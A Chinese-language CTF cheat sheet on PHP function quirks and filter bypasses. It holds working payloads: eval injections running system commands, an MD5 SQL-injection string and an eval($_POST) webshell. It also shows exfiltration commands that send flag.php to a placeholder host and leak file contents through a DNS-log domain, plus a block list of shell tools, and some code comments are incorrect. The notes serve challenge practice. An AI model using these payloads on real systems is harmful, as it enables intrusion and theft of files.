PHP特性总结

intval()

2023-01-30T02:20:23.png


int intval ( mixed $var [, int $base = 10 ] )

参数说明:

  • $var:要转换成 integer 的数量值。
  • $base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。
  • intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
    所以方法就挺多了

    md5(phpinfo())
    md5(sleep())
    md5(md5())
    current(localeconv)
    sha1(getcwd()) 等

    绕过:
    字符绕过

    intval()而言,如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。如果字符串第一个是‘-’,则从第二个开始算起,因此,intval也可以在某些比大小的时候采用科学计数法绕过。

    还有小数点绕过以及进制转换绕过在上文有不再赘述

strpos()

2023-01-30T02:20:40.png

对于strpos()函数,我们可以利用换行进行绕过(%0a)

也可以小数点绕过

assert()

assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;

payload绕过

MD5漏洞

绕过

MD5加密有4种绕过方式

1. 0e绕过
2. 数组绕过
3. MD5碰撞
4. MD5SQL注入
0e绕过
也就是科学计数法绕过(前提是弱类型)
数组绕过
md5(a[]=1) === md5(b[]=1)

由于md5函数无法处理数组,会返回null,所以md5加密后的结果是下面这样

null === null
MD5碰撞
MD5碰撞也叫哈希碰撞,是指两个不同内容的输入,经过散列算法后,得到相同的输出,也就是两个不同的值的散列值相同
常见md5碰撞值
str1=2120624&str2=240610708
MD5-SQL注入
ffifdyop 的MD5加密结果是 276f722736c95d99e921722cf9ed621c
经过MySQL编码后会变成'or'6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密

ps:

sha1我们也采用数组绕过;
或以下碰撞payload
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

and与&&的区别

<?php $a=true and false and false; 
var_dump($a);  返回true
$a=true && false && false; 
var_dump($a);  返回false

nl、cp、mv、tee写文件

在禁命令的时候没有限制写文件:

nl flag.php>1.txt
cp flag.php>1.txt
mv flag.php>1.txt
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件
ls /|tee 1
然后访问/1下载文件

parse_str()

举个例子

$a='q=123&p=456';
parse_str($a,$b);//将aparse_str — 将字符串解析成多个变量
parse_str ( string $encoded_string [, array &$result ] ) : void
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。(即将a拆分成数组形式赋值给b)
echo $b['q'];   //输出123
echo $b['p'];   //输出456
ps:也可以直接使用数组绕过

psps:某道题非常奇妙的做法:: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

构造拼接字符串

PHP异常

php 异常类
先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串
所以我们只要让new后面有个类不报错以后,就可以随意构造了。我们随便找个php中的内置类并且可以直接echo输出的就可以了。
举两个例子

Exception
ReflectionClass

例题如ctfshow109

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
        eval("echo new $v1($v2());");
    }
}
payload:
v1=Exception();system('tac f*');//&v2=a
v1=ReflectionClass&v2=system('tac f*')

FilesystemIterator类的使用

img

getcwd — 取得当前工作目录

变量覆盖

$$导致的变量覆盖问题

1.$$介绍
$$这种写法称为可变变量
一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。

<?php
$a = "hello";
echo "$a";              //输出hello
$b="world";
echo "$b";              //输出hello
echo "$$a";            //输出$world
echo "$a ${$a}";    //输出hello $world
echo "$a $hello";  //输出hello world
?>

2.漏洞产生
使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
举例

<?php
foreach ($_GET as $key => $value) {
${$key} = $value;
}
echo $a;
?>

get得到的数据$key和$value,关键第3行,${$key}用get传进来的$key做为新的变量,将get传进来的$value赋值给它。
get ?a=1 第3行回解析为$a=1。就造成了变量覆盖。

extract()函数使用不当

1.extract()函数介绍
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。

例如

<?php
$a = 1;    //原变量值为1
$b = array('a' => '3');
extract($b);    //经过extract()函数对$b处理后
echo $a;    //输出结果为3
?>

parse_str()函数使用不当

1.parse_str()函数介绍
parse_str() 函数把查询字符串解析到变量中。
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
parse_str函数的作用就是解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量
2.语法
parse_str(*string,array*)
参数 描述
string必需。 规定要解析的字符串。
array可选。 规定存储变量的数组名称。该参数指示变量存储到数组中。
举例

<?php
$a = 1;                  //原变量值为1
parse_str('a=2');   //经过parse_str()函数后注册变量$a,重新赋值
print_r($);          //输出结果为2
?>

import_request_variables()使用不当

1.import_request_variables()函数介绍
import_request_variables—将 GET/POST/Cookie 变量导入到全局作用域中
import_request_variables()函数就是把GET、POST、COOKIE的参数注册成变量,用在register_globals被禁止的时候

2.语法
bool import_request_variables(string$types[,string$prefix] )
$type代表要注册的变量,G代表GET,P代表POST,C代表COOKIE,第二个参数为要注册变量的前缀
举例

<?php
$auth='0';
import_request_variables('G');
if($auth== 1){
echo"private!";
}else{
echo"public!";
}
?>

get auth=1时,网页上会输出private!
import_request_variables('G')指定导入GET请求中的变量,从而导致变量覆盖

trim

语法
trim(string,charlist)

参数    描述
string            必需。规定要检查的字符串。
charlist        可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0"       - NULL
"\t"       - 制表符
"\n"       - 换行
"\x0B"     - 垂直制表符
"\r"       - 回车
" "        - 空格

is_numeric

for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).'1';
   if(is_numeric($x)==true){
        echo urlencode(chr($i))."\n";
   }
}

除了数字和+-.号以外还有 %09 %0a %0b %0c %0d %20可以用于绕过is_numeric

ps :trim与is_numeric叠加后只有%0c(换页符)能绕过

is_file

is_file — 判断给定文件名是否为一个正常的文件
is_file ( string $filename ) : bool

重复指向根目录绕过

可用于绕过require_once is_file

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

PHP变量命名规则

1、变量以美元符号$开头。如$name,$age。

2、美元符号$后面的第一个字符不可以是数字,只能是下划线_或者字母。如$1_1这样的变量是错误的。

3、除了下划线_外,变量不允许出现任何空格或标点符号。也就是说变量名只能包含:a-z、A-Z、0-9 以及下划线_。

4、PHP变量名是区分大小写的。如$name与$Name是两个不同的变量。

PHP变量命名规则其余注意事项

1、当用两个或两个以上的单词命名变量时,可以将除第一个单词以外的所有单词的首字母大写。如$myName、$yourFamilyName。

2、以下划线_开始命名的变量通常代表特殊的变量。如在类中创建受保护的属性、PHP预定义变量($_GET)、全局数组等。

3、定义变量的时候,不要贪图简短,而应该使用具有描述性的名称定义变量。

CTF[SHOW.COM => CTF_SHOW.COM

编码方式绕过(遇到了再补充)

UCS-2LE UCS-2BE

这种是将字符两位两位进行交换
大家可以自行测试如下代码

echo iconv("UCS-2LE","UCS-2BE",'<?php die();?>??');

输出如下,使得die失效,并且我们的一句话木马可以使用
??<?php eval($_POST[1]);?>

脚本判断字符

<?php
function curl($url,$data){
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    $response = curl_exec($ch);
    curl_close($ch);
    return strlen($response);
}
$url="http://127.0.0.1/test.php";
for ($i=0; $i <=128 ; $i++) { 
    for ($j=0; $j <=128 ; $j++) {
            $data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
                if(curl($url,$data)!=0){
                    echo $data."\n"; 
                }
           }
       }

判断出特殊字符特性

PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如 CTF[SHOW.COM=>CTF_SHOW.COM
ps:利用空格会自动转换为_也可以来绕过waf

prep_match绕过

换行绕过
%0a
数组绕过
num[]=1
最大回溯绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。

示例脚本如下:

import requests

url = "http://4c5b8465-3e88-4c4d-bd6a-08f86a5e730a.challenge.ctf.show/"
data = {
    'f': 'very' * 250000 + '36Dctfshow'
}
r = requests.post(url, data=data)
print(r.text)

命令套娃

详搜ctfshow web133

payload:?F = `$F`; curl `cat flag.php|grep "flag"`.

数据外带

Image description
Image description

payload: curl -X POST -F xx=@flag.php http://xxx

同类payload

ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn
nl f*>xxx
cp flag.php 1.txt`
system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head

$_SERVER[‘QUERY_STRING’]

1,http://localhost/aaa/ (打开aaa中的index.php)
结果:
$_SERVER['QUERY_STRING'] = "";
$_SERVER['REQUEST_URI'] = "/aaa/";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

2,http://localhost/aaa/?p=222 (附带查询)
结果:
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

3,http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

由实例可知:
$_SERVER["QUERY_STRING"] 获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"] 获取当前脚本的路径,如:index.php
$_SERVER["PHP_SELF"] 当前正在执行脚本的文件名

 回调函数

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
call_user_func中不但可以传字符串也可以传数组


### 无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
详见羽师傅https://blog.csdn.net/miuzzx/article/details/109143413

### 元字符

`/^\W+$/` 作用是匹配非数字字母下划线的字符

![img](https://img-blog.csdnimg.cn/20210226102238504.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1MDg2MjE4,size_16,color_FFFFFF,t_70)

### 模式修正符

![img](https://img-blog.csdnimg.cn/2021022610231811.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1MDg2MjE4,size_16,color_FFFFFF,t_70)

### in_array()

in_array() 函数搜索数组中是否存在指定的值。
in_array(search,array,type)

gettext拓展

在开启该拓展后 _() 等效于 gettext()

echo gettext("phpinfo"); 
结果  phpinfo
echo _("phpinfo"); 
结果 phpinfo 

[1.1更新]更新了preg_match()绕过以及strstr
preg_match()绕过

1.数组绕过,即传入的参数为数组

?a[]=password.php;

2.利用PCRE回溯次数限制绕过

让回溯次数超过最大限制就可以使preg_match()函数返回false,从而绕过限制,中文的回溯次数在100万次就会崩溃,这个回溯保护使PHP为了防止关于正则表达式的DDOS

img

3.换行符绕过
不会匹配换行符

?a=%0aflag.php

strstr

strstr(string,search,before_search)

string:必需。规定被搜索的字符串。

search:必需。规定所搜索的字符串。

如果此参数是数字,则搜索匹配此数字对应的 ASCII 值的字符。

before_search:可选。默认值为 "false" 的布尔值。

如果设置为 "true",它将返回 search 参数第一次出现之前的字符串部分。
补充更新 在php中空格 + [ .会被替换成下划线,可用于绕过 _